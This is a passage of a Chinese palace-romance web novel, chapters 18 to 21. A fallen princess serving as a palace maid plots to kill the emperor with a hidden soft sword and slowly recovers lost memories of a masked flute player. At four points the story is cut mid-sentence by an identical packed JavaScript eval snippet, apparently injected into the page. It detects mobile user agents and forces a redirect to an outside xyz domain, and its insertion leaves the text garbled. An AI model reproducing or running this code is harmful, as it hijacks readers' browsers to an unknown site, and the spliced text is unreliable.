大约白日里游玩耗神,明熙回到寿安宫时,太后已经就寝。 茶房里有素萍守着,她便回了值房。 夜已经黑了透底,众人已在值房歇息,她不好更衣,索性和衣而卧。 见她面色苍白,其他人只当她不舒服,倒也并未奇怪,只是关问几句后,便吹熄了房中灯火。 房中陆续响起酣眠之声,渐渐地,明熙的头疼也渐渐散去,沉入了梦中—— 仿佛又回到了从前的建业,她的府中有一群美貌乐师,个个身姿挺拔,面若潘安,每逢她无聊之际,他们便会奏响天籁,哄她开心。 其中有一人最得她的喜欢,她与他一起饮酒抚琴,同坐同行,去哪儿都将他带着,生怕会将他弄丢一般。 只是梦中的那人一直戴着面具,叫她看不清面容,经过她好一番哄骗与威胁,他终于肯摘下了面具,谁知竟露出了萧元彻的脸。 她吓得逃走,却不想又闯进了哥哥的寝殿,却见身着龙袍的哥哥正躺在榻上,面色青紫,口中含混不清,却又向她伸出一只手,似乎在求救。 她想上前将哥哥扶起,却不想那寝殿忽然地动山摇,龙榻深陷于地下,变成了一副厚重棺木,她也跟着掉了下去…… …… 晨曦薄光透进房中,其他人已在起床穿衣,明熙睁开眼,心仍在胸膛里狂跳。 “念贞,你可好些了?” 同屋的琴韵过来摸她的额头,却摸了一手汗。 “怎的这么多汗?今日去太医院找医官瞧瞧吧。” 汗本是因噩梦而出,不过明熙正要出去一趟,于是忙故为难道,“可是茶房那里……” 却见琴韵道,“茶房里有素萍和青黛,不必担心,等会儿我去向王嬷嬷禀报一声便是。” 明熙便应了声好,目送琴韵与其他人都出了值房后,先下床将软剑卸了下来。 说起来,这把软剑还是当初南朝国师相赠。 打她记事起,父皇便一直追寻成仙之道,对她一直并不甚在意,唯独要她随国师习了这灵蛇剑。 犹记得那时母后刚刚薨逝,她一个四岁的小丫头,连剑柄都难以握住,哭唧唧的跑到父皇面前想要撒娇求情,然高高在上的父皇只是目光清冷的道,“女子本弱,若无防身之道,将来何以在凡世立足?” 语罢便又叫宫人将她带去了国师面前。 十年习剑时光着实称得上枯燥,所幸及笄那日,国师赠了她这把软剑,当做出师之礼后,便也再无强求她练过。 但也真如父皇所说,这剑确为她的安危立下过功劳。 一次是在建业的闹市中,她与凌霜几个溜出宫看灯会,被拥挤的人潮冲散,有一混蛋妄图强行掳劫她,被灵蛇剑削掉了一只耳朵。 还有一次,便是哥哥下葬前夜,她与侄子守灵之际,有北周的细作从背后偷袭,她用灵蛇剑击穿了对方的喉咙,却也因为要护住侄子不甚撞到哥哥的棺木而昏倒。 昨日突发的头疼,或许就是那时候落下的。 只是原以为没事了,没想到竟在昨日那等关键时刻复发。 且她觉得,她似乎还丢失了一些记忆…… 将软剑收好,又洗漱一番后,明熙出了寿安宫。 昨夜的梦太过诡异,她今日一定要去问问赵怀或是凌霜,她从前……是否真与某个男人……亲热过。 既是以看病的借口出来的,当然得走一趟太医院。 明熙自认身体并无大碍,进门之后径直寻了个小医女,打算拿些驱寒的药便走,哪知话还未同医女说完,却有一年轻医官上前问她,“这位姑娘可是寿安宫的人?” 此时她身上穿的正是寿安宫宫女的衣裳,明熙倒也未觉可疑,只点头应了声是。 哪知对方抬手挥退了医女,道,“寿安宫的姑姑皆由在下来问诊,请姑娘先坐。” 明熙这才晓得,寿安宫的宫人还有这等优待,只好在一旁坐下,由对方把脉。 但见对方神色肃敛,一阵过后,还皱起了眉。 她不由道,“敢问大人,我的身体有什么不对吗?” 却见对方又摇头道,“没什么,姑娘只是有些脾胃虚弱,拿些药丸回去吃一吃便好。”说着便从一旁的药罐里包了几颗药丸。 明熙跟着瞧去,只见那罐子上写着几个大字,“山楂丸。” “……” 啧,看这人方才的模样,还以为自己得了什么大病,她悄悄松了口气,接过山楂丸,向对方道了声谢,便赶紧离开。 说起来,离太医院最近的便是内府局,明熙本打算先去找赵怀,哪知瞧了一圈却并未见赵怀的影子,只好又去了典膳司。 这个时辰,典膳司内正热火朝天的忙着给主子们做早膳,所幸凌霜已经忙完了手上的活计,找了个借口,立时与她到了无人处说话。 “姑娘,可是有什么事?” 明熙点头,将长话短说,“我来是想问你,我过去……可曾有过面首或者男宠?或者曾与什么男人很亲密过?” “什么?” 就见凌霜一下愣住,“您……有没有……面首……男宠?为何这样问?” 明熙只好解释道,“就是,我近来时常会梦见一个带着面具的男子,是我的乐师,我还与他……很亲密,可我记忆里却没有此人的影子。” “哦,” 话音才落,却见凌霜立时点起了头,“从前府中确实有一位吹箫的郎君戴着面具,很得您的欢心,您去哪儿都带着他。” 竟然果真有?! 明熙忙问道,“那人是哪里来的?叫什么名字?” “只记得您唤他‘二郎’,” 凌霜道,“原本是宫中的乐师,是先帝送给您的。” 是哥哥送给她的乐师? 明熙忙凝眉回忆,却发现还是想不起相关的任何事。 只好又试着问道,“他……身量是不是很高大?” 凌霜立时点头,“是挺高大的,肩宽腰细,身型很是好看。” 嘶…… 明熙暗吸一口凉气。 没错,梦里那个人便是如此,肩膀宽阔,前胸还甚是紧实…… 她又试着问道,“那我有没有跟他……同床共枕过?” “那必定没有。” 却见凌霜斩钉截铁的摇头,“您可与那些郡主县主不同,素来洁身自爱,虽然时常带着那位郎君同行,却从未叫他踏足过寝殿。” 这样么? 明熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507556|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却又忍不住凝眉,“那我为何每每梦见与他……亲热?” “这个嘛……” 却见凌霜脸红起来,“其实我也会做这样的梦。” 嗯? 明熙忙看她,“你也会?那……是与谁?” 凌霜脸红的更甚,“您不认识的,就是……从前建业的一位伶人。” 伶人? 明熙挑眉,“怎么从前没听你说过?” 却见凌霜又叹了口气道,“那都好久以前了,如今早不晓得他去了哪里,是不是还活着……” 这话正提醒了明熙,忙又问道,“对了,那个吹箫的郎君后来又去哪了?” 凌霜摇头道,“小的也不晓得,那时正逢国丧,您伤心之余,将府里的乐师都遣散了。” 说着又奇怪道,“这些事您都忘了?” 明熙顿了顿,“有些倒是记得。” 比如眼下说的这桩。 ——她的父皇虽然沉迷修道,但身体一向还好,哪知四年前却猝然驾崩,叫她连最后一面也没能见上,她伤心之余,便将府里的乐师全都遣散,去了山中避世。 养花的手艺,便是那时练成的。 只是奇怪,为何那个吹箫的“二郎”,在她脑海里一点痕迹都没有? 犹记得当初醒来后,她的脑间的确曾短暂出现过空白,但随着伤情恢复,大部分记忆也都回来了,唯独这桩。 难道是因为并不重要? 不过眼下看来,她并未有与哪个男人发生过不可言说之事,那个梦,就纯属梦而已。 明熙松了口气,眼看时间不早,与凌霜道了别,又急忙往回走。 这个时辰,太后应是才梳洗完毕在用早膳,哪知将到寿安宫时才发现,垂花门外有侍卫与肩舆。 这便意味着,那狗贼萧元彻来了。 明熙肃正神色踏入院中,只见有宫人正在往殿中传菜,她小心进了茶房,低声问正在里头值守的素萍与青黛,“陛下什么来的?” 青黛也低声道,“才刚来没多久,今日陛下专程来陪太后用早膳。” 明熙愈发惊奇。 想她来到寿安宫也有些日子了,竟是头回见母子二人一起用早膳。 意外的不只是明熙。 殿中,太后瞥了眼尚未换下龙袍的萧元彻,叹道,“今儿可真是太阳打西边出来了,陛下怎么有空来陪哀家用早膳了?” 萧元彻道,“前阵子忙,未能及时陪伴母后,朕心间深感愧疚,母后不计前嫌,还记得朕的口味,昨晚特意叫人送去了鸡汤馄饨,朕今日乃是特意来向母后致谢的。” 是来谢馄饨,还是茶房那丫头的? 太后心间哼笑一下,只道,“陛下早起上朝,也该饿了,快些吃罢。” 萧元彻应是,母子二人便开始用膳,一时间,殿中仅有轻微的杯碟声。 一阵过后,早膳用完,宫人们撤走碗碟,殿中清净下来。 太后道,“眼下只有哀家与陛下两个,就不必再说什么虚言了,哀家正有一事想跟陛下谈谈。哀家知道,陛下看中了念贞,经过这些时日观察,她的确细心,也有些聪慧,若陛下想将她收入后宫,哀家并无意见。只不过,哀家也有一个条件。” 19.第 19 章 闻言,萧元彻道,“不知母后有什么条件?” 却见太后道,“温家乃簪缨世家,三代皆是朝中肱骨,舒月知书达礼,甚有才情,堪当中宫之位,趁着今年时候还早,赶紧与她把婚事办了,待中宫稳妥,再给念贞封个位份。她出身太低,但封个才人,美人还是可以的,若日后能诞下皇子公主,还可以再抬。” “朕不喜欢温家的姑娘,无法娶一个不喜欢的人为妻。” 萧元彻立时道,“这个条件,请恕儿臣无法答应。” 本是与他好好商量,却没想到他竟回绝的如此干脆,太后也立时皱起眉来道,“你喜欢念真,可她的出身根本做不了皇后!” “皇后,必须要出身贵重,才能镇得住天下众口,稳固朝堂。念贞那花农的娘家,能帮上你什么?” 许是察觉到自己有些急躁,太后顿了顿,又缓声道,“皇后不是非要你喜欢,再说,便是眼下不喜欢,婚后未准便能喜欢上了,在一起久了,自然生得出感情。” 哪知萧元彻问她,“母后与先帝婚后,可曾有过感情?” 这…… 太后噎住。 却见他又道,“我自幼便知,父皇喜欢的是容妃,却为了权势,娶了母后,即便母后生下我,在父皇心中,也始终是长兄最重。甚至能叫我这个嫡子去替长兄在他国做质子。” “我不想再做如同父皇一般的人,叫无辜的人再来承受母后与我曾承受的苦,以至于一生都在被人恨着。” 话音落下,太后已是愈发说不出话来。 只因这正是她此生最为介怀之事。 努力平复了半晌,她方道,“可你要知道,你父皇当年,也是因为与我李家联姻,才坐上的皇位。” 哪知萧元彻却道,“我与父皇不同,今时的大周也不同于往日的大周。” 太后一顿,听他的意思,难不成果真要娶那个种花的丫头为后? 不,这是绝对不可能的。 哪知未等她开口,却见萧元彻又道,“立后之事且不急,我今日来,有一件要事想求母后的恩典。” ………… 眼看正殿里的碗碟撤下已有许久,却仍不见御驾起行,茶房中的几人不由嘀咕起来。 青黛道,“陛下今日与太后说了这么久的话,不知可是有什么大事?” 明熙也是这样想的。 从前这箫狗贼连一盏茶都喝不完,今日吃过一顿饭后又待了这么久,那母子俩莫不是在商量什么大事? 但这阵子也未听宫人们提过什么…… “贵人们的事,岂容咱们揣测?” 素萍只道,“看看时辰,该准备新茶了。” 明熙点了点头,取出茶盏,开始热杯。 谁料就在此时,门外传来“起驾”的声音,三人一愣,忙又搁下手中物件,先出去行礼。 眼看那人出了寿安宫,坐上肩舆离开,院中众人也纷纷立起身来,明熙便要与素萍青黛一道再回茶房去,却见碧书来到她面前道,“念贞,太后叫你过去。” 嗯? 御驾才走,太后便叫她进去? 众人的目光全都投到她身上。 明熙也是奇怪,却也只能暂且按下疑惑,迈进了正殿。 “奴婢参见太后。” 殿中仍残留那人龙袍上的熏香,明熙乖乖行了礼,却不见太后叫她平身。 而是悠悠开口道,“陛下忙于政事,时常顾不上歇息,着实叫哀家担心。自你到寿安宫来,行事称得上心细,即日起,便派你去乾明宫照顾陛下衣食起居,勿要辜负哀家信任。” 什么? 明熙一愣。 调她去伺候萧元彻的衣食起居? 难不成方才这母子俩在殿中嘀咕半天,是为了这件事? 哈,想她从昨夜到今早一直在为错失良机耿耿于怀,没想到这么快,大好的机会便又来了?!! 这样好的机会,自是不可错过。 明熙赶忙应了声是,却听太后又道,“眼下便收拾东西过去吧,切记做好自己的差事,莫要辜负哀家信任。” 明熙又应是,便告退出了殿中。 先回茶房同素萍交代了一声,素萍却未见惊讶,而是笑着跟她道起了恭喜,“早知会有这么一天,没想到这样快,阿贞,祝你往后一切顺遂。” 青黛也凑过来道,“念贞姐,若你往后成了主子,可别忘了咱们一处的时光。” ——成主子是断不可能的,只希望待她成事那日,她们不要太恨她才是。 明熙假意害羞的道了谢,告别两人,回值房带上行李后,便出了门。 一路行到乾明宫,却见高寿早已经等在了那里,一见她来,立时客气的将她迎了进去,一路领到了正殿后头的一个小院中。 穿过月亮门,院中有五间正房,两间厢房,房前种着海棠,正缀满了花苞,院子中间还有颗高大的流苏树,这时节正在怒放,开出一片片细碎小花,犹如白雪压枝,很是好看。 却听高寿道,“陛下交代要为姑娘安排清净处,咱家看这个地儿清幽又僻静,不知可合姑娘心意?” 明熙有些意外,这话的意思,眼前这个地方便是她的值房? 不过很快,她便又明白了。 瞧这院子,穿过月亮门,往前走几步便是那乾明宫的寝殿,那狗贼将她安排在此,大约是为了方便夜深人静时前来欺负她…… 呵,也好,若她在此将那狗贼毙命,旁人发现时也已经无力回天。 她便向高寿道了声谢。 却见对方又叫人呈上几套衣裳,道,“姑娘先更衣,有什么事找咱家,或小林子小顺子都是一样的。” 便出去了。 明熙便回到房中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515928|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先把高寿拿来衣裳换上,已然与寿安宫的大宫女碧书琴韵一样,成了女官的装束。 当然,她亦没忘记,将软剑别在腰间。 昨日虽错过,今日一样有机会。 等会若那狗贼想对她动手动脚,她就立刻出剑! 如此收拾好,她便去到殿前,瞧见高寿正在转悠,便迎上前去唤了声高公公,对方也立时道,“姑娘有何吩咐?” 明熙道,“太后吩咐小的来此,并未交代具体事宜,不知小的都要做些什么?” 却见高寿一顿,“呃……” ——陛下方才只说许姑娘要过来,叫他找个清净的地方安置,可没说要让姑娘做什么啊。 只得道,“陛下日常起居及茶膳都有专人服侍,您……不妨每日提醒陛下,按时就寝就好。” 只需提醒那狗贼按时就寝? 明熙又试着问,“不知陛下每日睡几次?” 却见高寿叹道,“一次,最早也要在亥正时分,有时还要更晚些,每日卯初却又准时起,睡得着实不算多啊!“ 每日从亥正睡到卯初,确实不算长,但明熙关注的却是,自己每日将有很长的时间无所事事。 大抵看出她的意外,高寿忙又补充道,“陛下交代,姑娘在此不必太过拘谨,您看看这宫里的花草,若有能收拾的就收拾两下,收拾不了的也没关系。” 话音才落,眼前御树房前有小太监朝他招手,便忙跟明熙道别过去了。 余下明熙瞅了瞅周遭,找了近前的一株紫薇收拾起来。 也成吧,收拾花木,总算她拿手之事。 说来,这乾明宫倒也真的是忙,仅她给紫薇修剪枝叶的功夫,便有七八名大臣进出。 每个人都是行色匆匆,或手捧卷宗神色肃敛,或三五成群低声交谈,明熙悄悄听了听,见他们谈的大多数是国事。 有人道,“有我大军协助,江南二十郡县皆已顺利完成春播,百姓无不称颂陛下仁德。” 又有人附和道,“此正是民心所向。如今建业氏族中,已有吴氏,陈氏,曹氏三大家族归顺我大周,我等应奏请陛下,尽快安排外吏部在建业及周边郡县设置官署,也好尽早教化当地百姓才是。” 这话引来许多附和,明熙不由却暗自皱眉—— 那吴,陈,曹家,乃南齐最大的几个世家,想当初,无论父皇还是哥哥都对他们很是器重。 如今还不到一年的光景,这三家软骨头便已经急着归顺他人? 却见又有一大臣道,“设衙门之事,先前已经上奏过,陛下只说时机未到,便是今日再上书,也未必能成。” 时机未到? 明熙又不由冷哼,那狗贼要等什么时机? 等将她侄儿赶尽杀绝,这天下就无人再骂他是强盗了! 如此,她更是要尽快找机会干掉那狗贼才是! 20.第 20 章 虽则明熙打好了主意,怎奈萧元彻一直躲在勤政殿中,并未现身。 便是到了午膳时间,也是宫人们将食盒一样样提去殿中,不过两刻钟后,便又收拾了碗碟出来。 明熙在旁悄悄数过,不过四道菜,三道点心,外加一只汤盅而已,且看起来也并未吃多少。 这分量,照着他们南国御膳,可是差得远了…… 正琢磨着,却见得了空的高寿又来到她面前道,“姑娘辛苦了一上午,该去用膳了,陛下吩咐膳房给您做了几道菜,一会儿给您送到后殿院中,您看看合不合胃口。” 什么?还有专门给她做的饭? 明熙忙客气道,“小的岂敢僭越?小的随大家一起用便好。” 高寿却道,“此乃陛下御赐,姑娘可推脱不得啊。” “……” 好一个陛下御赐,明熙只好应了声是,回了值房。 少倾,果然见小林子带着人给她送了饭来,有清炒虾仁,蜜汁百合,油焖春笋,竟然还有一道清炖鸡孚。 这几道可都是南国菜式,尤其那道清炖鸡孚,乃是建业宫中拿手菜,没想到这里也会做? 最奇怪的,北人的主食通常是饼,面,饺子之类,她的主食竟然是糯米饭。 还是她最喜欢桂花糯米饭。 明熙不由又要皱眉,难不成那狗贼看穿了她的身份? “听说姑娘有些不舒服,陛下特命膳房做清淡些的菜,不知这些合不合姑娘胃口?” 小林子及时开口,打消了她些许疑惑。 “确实清淡,” 明熙不动声色的试着问道,“不过……从前宫中少见这样的菜式,我在寿安宫也从未见过。” 却听小林子又道,“最近上京来了几位建业那边的大厨,许多酒楼都上了些新鲜菜式,宫中的御厨们也在学着做,就是不知口味如何。” 这样么? 自打进入这宫中,她倒许久不知外头的事了。 眼见小林子几人告了辞,房中只剩了她一人,明熙想了想,先用银簪试了试,确认无毒后,终于暂时放下戒心,试着尝了几口。 别说,那虾仁脆弹,百合甜糯,春笋鲜香,鸡孚入口酥烂,汤汁醇厚,竟还真有几分建业的意思。 尤其那碗桂花糯米饭,甜糯的米粒中满是桂花香甜,正是她最爱的家乡味,直叫原本打算浅尝辄止的她,有些停不下来了。 却不知就在她沉浸于美味之际,一院之隔的御书房中,有人正在谈论她的事。 “你今早已为她诊过脉,她的身体究竟如何?” “禀陛下,” 说话的正是今早明熙遇见的那位年轻医官荀清。 “许姑娘体内有血瘀之相,说明其先前摔伤后,脑中有血块未消。据医籍记载,从前也有相同病患,在头部收到重击后,会短暂失去记忆,但是通常一阵以后,记忆就会慢慢恢复。” 一阵以后就会恢复? 萧元彻不由凝眉,据昨夜赵怀交代,她受伤至今,至少有大半年了。 却听荀清又道,“但也还有一种可能,即某件事对病患打击太大,病患本身不愿想起,甚至刻意逃避,加之受伤后周遭又无人提醒,时间一长,这件事便会被其遗忘。” 萧元彻陷入沉默。 ——那时她被至亲陷害,身边只有他,然他却趁她父皇驾崩时离开,连道别也未曾留…… 是他真的伤了她,才会选择把他忘记吧。 暂且咽下满心酸涩,他又问道,“那,可还有办法叫她想起来?” 却见荀清道,“也并非无法,可尝试带病患去做曾经做过的事,或者回到曾熟悉的环境中,渐渐牵引之下,或许对方就能想起来了。” 建业距此千里,短时间内回去,显然不可能。 做她熟悉的事…… 倒可以一试。 萧元彻又问,“那方才说她血瘀,又该如何?” 荀清道,“只能吃药或是针灸调节。” 萧元彻又不由皱眉,好端端的叫她吃药,肯定不成。 便问道,“可还有其他法子?” 只见荀清道,“那便只能从日常饮食,熏浴来入手了,只不过疗程要长一些。” “去安排吧。” 萧元彻以目光施压道,“此事决不可向外人透露。” 荀清忙垂首应是,而后退出殿中。 余下萧元彻靠在椅背,合上双眸,复又睁开。 她是真的把他忘了。 无妨,再陪她想起来便是。 …… 眼看着,明熙吃过午饭,又把乾明宫的花草收整了一番,仍未能见到萧元彻的人。 大臣们依旧络绎不绝,一直到夜幕降临,勤政殿才清净了些。 晚膳依旧由宫人们送去殿中,明熙吃过晚膳又溜达了一会儿,耳听二更更鼓响过,便来到御书房外道,“陛下,时候不早,该就寝了。” 却听殿中唔了一声,不过片刻,便见门被打开,那人从里出了来。 一身玄金龙袍,发竖金冠,目中略有疲态,温声与她道,“今日身体可好些了?” 明熙应了声是,“谢陛下关怀。” 又听他道,“今日膳食可合你胃口?” 明熙又应是,“已经用过,多谢陛下赐膳。” 却见那人嗯了一声,又吩咐身边小太监,“备水吧。” 便往寝殿走去。 明熙忙也跟了上去。 哼,这狗贼在殿中待了一天都未曾活动过,若此时出剑,应该来不及反应。 然须知此时除过明熙,萧元彻身边还跟着许多人。 一路入了寝殿,有小太监去了浴房备水,高寿则领着另几人服侍其更衣,明熙只能隔着屏风立在外殿。 内殿门未关,隔着一道檀木屏风,能听见他更衣的声响。 明熙悄悄望去,见有其换下的衣裳搁到了屏风上,其中还有那块缺了一半的双鱼玉佩。 她忍不住多看了一眼,只见那玉佩光泽莹润,脑间不由一阵恍惚—— 就仿佛她曾经触摸过,指间还存着那温润的触感…… 这是怎么回事? 难不成那位被她遗忘了的“二郎”也有一块相同的玉佩,而她也的确摸过? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522489|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是有些奇怪,便是前几天夜夜梦见那“二郎”之时,他也一直戴着面具,她竟是一点也想不起那人的真实模样了。 难不成他长得很丑?脸上有难看的疤痕??? ……但此种可能极低,毕竟她从小便是个以貌取人的人,只喜欢养眼的东西。 想那“二郎”如此得她欢心,必定是好看的才对。 不知不觉间神游了一番,耳边忽然传来吱呀一声,浴房的门被打开,她下意识投去目光,撞上了一副很是养眼的画面—— 那青年一身月白的寝衣,宽肩窄腰,身材极好,原本高束的墨发在脑后松松挽了发髻,竟然有几分建业城中风流名士的味道。 但那副如画的眉眼,却是哪个名士都比不上的。 明熙恍惚一瞬,除过惊艳,竟然还有丝熟悉之感。 就仿佛……曾在何处见过他这般模样。 但紧跟来的理智告诉她,眼前的人可是她的仇人,便是生的养眼些,也不可原谅! 明熙忙移开目光,垂首道,“陛下今日晚膳用的少,可要用宵夜?” 那狗贼道了声不必,且又问她,“你也辛苦了一天,可饿了?” 明熙,“……” 这话问的她都有些心虚,今日可着实称得上她入这北周皇庭以来最轻松的一天。 只能道,“谢陛下,奴婢也不饿。” 说着又道,“时候不早,请陛下就寝吧。” 呵,待他将闲杂人等支开,便是她出剑之时。 哪晓得那人又道,“还早,取朕的箫来。” 什么,箫? 明熙怀疑自己听错了,却见高寿连忙应是出了殿中,很快竟真取了一把竹箫回来。 双手奉至那人面前,而萧元彻也接过,轻轻抚了抚箫身,便放在唇边吹了起来。 立时有乐声流出,铺满殿中。 明熙简直有些不信自己的眼睛—— 这狗贼竟还会吹箫??? 而且……吹得还很不错?! 她初时大为惊讶,但随着乐声在耳边流淌,渐渐地,竟也听得入了神。 仿佛置身一片原野,空中明月高挂,唯有清风掠过指间,天地一片空旷…… 这感觉亦是十分熟悉,就好像她从前也曾听过一般…… 眼看乐曲入了尾声,殿中归于寂静,明熙才要回神,却听耳边又传来拍掌叫好声。 “真应了那句‘此曲只应天上有,人间哪得几回闻!’陛下吹得太好了!” 高寿努力拍着马屁,引得小林子小东子等一班小太监也叫起好来。 明熙,“……” 这般情景,她若不表示赞同只怕有些不合适,只好也跟着拍了几下手。 只见吹箫的那人笑了笑,而后又瞥了高寿一眼。 高寿一顿,立时停手收声并垂下了脑袋。 ——天知道他有多难! 他也不想在这殿中呆着啊! 这样的花好月圆夜,本该君王美人独处,但奈何陛下又叫他守在殿中。 玉皇大帝佛祖观音菩萨啊,谁能告诉他,陛下如此究竟是为了什么?!! 21.第 21 章 就在高寿胆战心惊之际,却见萧元彻又将目光投向了一旁的明熙道,“阿真,朕吹得可好?” 明熙,“……” 这人是不是头脑有什么不对? 大晚上的不睡觉,拉着满殿的宫人听他吹箫就罢了,还要问吹得好不好? 当然……他吹得确实不错。 她只能道,“陛下吹得很好。不过时间已经不早,陛下明日还要早起,眼下还是早些歇息吧。” 却见那人嗯了一声,又道,“你辛苦了一日,早些去睡吧。” 明熙,“……是。” 只好垂首退了出去。 心间却愈发奇怪——从前这人屡找机会与她单独相处,且还总想占她的便宜,今日留了这么多人在身边不说,还叫她先走了? ……该不会只是掩人耳目,想半夜再溜进她的值房吧? 她还是要警惕起来。 …… 而身后,目送她出了殿门,萧元彻这才同高寿几人道,“你们也退下吧。” 高寿应是,忙领着众人退出殿中,心间也忽然有所顿悟—— 回想从前几次,每每陛下与许姑娘独处,许姑娘总是匆忙逃走。 再瞧方才,许姑娘走时眼中明显有些迟疑…… 陛下这招莫非就是传说中的“欲擒故纵”? 嘿嘿,再加上今夜那动人的箫声,许姑娘必定是动心了。 好,好! 两情相悦,皇嗣在望,好事,好事啊! …… 殿中终于清静下来,萧元彻轻呼了口气。 他晓得,她今日必定又是带了剑来,所以他才将高寿几个一直留在殿中,好叫她没有出手之机。 要知道,她一旦出手,事情可就无法挽回了。 误会一日不消除,她便一直要杀他。 但尽管如此,他也还是要将她留在身边。 因为只有在他身边,她才是最安全的。 看了看窗外夜色,他将箫放在唇边,重又吹了起来。 只盼着这熟悉的乐声,能尽快叫她想起从前。 ………… 出了正殿,穿过月亮门,明熙回了值房。 不知今夜那狗贼会不会来,她自是不能轻易就寝,索性坐于窗前赏起月来。 今夜晴朗,蛾眉月的辉光将流苏树的花云镀上一层银纱,正殿中传出的箫声又飘到了她的耳边。 箫声不停,便代表那狗贼不会来此。 明熙本想坚持等下去,然不知不觉间竟又沉入梦中—— 又回到了建业她的公主府中,繁华的世景被高墙挡在门外,只留下同样一地清幽的月光。 戴着面具的青年正为她吹箫,箫声很是动听,但她一双眼睛都在他身上。 心里甜甜的,仿佛吃了一大块蜂糖那样甜。 哪知那个风流表姐宜安县主忽然闯进了她的公主府,要将他抢走,还扬言要向她的父皇告状,说她在府中私藏男子。 气的她扯乱了表姐的发髻,拉起那青年赶紧跑。 原本跑在繁华城中,但不知不觉间场景换成了一片原野,二人手牵手在草地上奔跑,笑得肆意。 梦中的她忘记了国仇家恨,只觉得头顶的蓝天白云是那般美好,身边的男子也那般合她心意。 直叫她从笑中醒来。 …… 窗外天空已经泛起晨光的蓝色,明熙眨了眨眼,直觉胳膊与脖颈有些酸痛。 ——在窗前趴着睡了一夜,这也难怪,她只好起身活动活动筋骨。 正晃着脖子,脑中忽然涌上了一些片段—— 似乎是四年前的夏日,她在北湖泛舟赏景,表姐宜安县主忽然来了,见到她身边戴着面具的“二郎”,立时眼馋起来,先是跟她要人,她不给,而后又想看二郎摘下面具的样子。 她还是不准,引得表姐一个劲的酸她,她气得将表姐赶下船,好一阵子没有来往…… 想起来了! 她身边真的有过一个“二郎”,且真的是带着面具的! 她又试着回忆更多,然而除过这个片段,便再没有其他了…… 脑中又有些隐隐作痛,她只好暂且放弃,眼看月亮门外正殿廊檐下已经亮起灯火,有宫人在走动了,说明那狗贼萧元彻也要起榻,便也去洗漱一番,换了身衣裳出了值房。 当然,仍不忘将软剑带上。 ——昨日没有机会,今日未必没有,随时做好准备才是。 …… 如昨日一样,早起的明熙依旧算个闲人。 萧元彻洗漱更衣用膳都有专人服侍,她只需在旁看着便是,而待他更衣完毕,连早膳也不用,便去了勤政殿朝会。 她问了问高寿,说朝会短则一个时辰,长的话更是没有准。 明熙有些惊讶。 要知道此时天还未全亮,这个时辰,寿安宫的宫人才开始洒扫庭院,便是浣衣局里众人也才刚刚起床。 不得不说,身为一国君主,那狗贼还真是挺称职的。 回想从前的建业,父皇一心修道,将朝政托与几个大臣及兄长,别说那些朝臣,便是她也难以的见一面。 哥哥登基后朝政都被谢氏掌控,倒也无需如此早起。 北周的国力能在这狗贼手里迅速增强,确实有原因。 而眼看日头初升,朝会结束,已是一个时辰之后,萧元彻匆匆用了早膳,便又入了御书房。 明熙则迎来了太后的召见。 一路来到寿安宫,太后才用过早膳,正在饮茶。 明熙上前行过礼,却见太后道,“哀家叫你来没别的事,就是想问问,陛下昨日与今早可都有按时用膳?” 明熙忙应是,“请娘娘放心,陛下昨日都曾按时用膳,昨夜亥正就寝,今早卯初起榻,方才下了朝会,已经用过早膳。” 太后颔了颔首,又道,“昨夜乾明宫可是传了乐师? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526615|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哀家似乎在梦中听到了乐声。” 乐声? 明熙心道,哪怕不是那狗皇帝吹箫的声音? 她如实道,“昨夜乾明宫并未召见乐师,是陛下睡前曾吹箫解乏。” “陛下吹的?” 太后讶然,其余众人也都目露意外。 只有明熙颔首应是。 “多少年未见他吹过箫了……” 却见太后看向她,“昨夜为何忽然来了雅兴?” 明熙,“……” 问她做什么,她如何知道那人是怎么想的? 且吹完还问她好不好听…… 真是太诡异了。 嘴上却只能道,“大抵是陛下心情愉悦吧。” 话音落下,好心的王嬷嬷赶忙道,“陛下由此雅兴,乃是好事。兴许是朝政有什么好事,令陛下龙心大悦。” 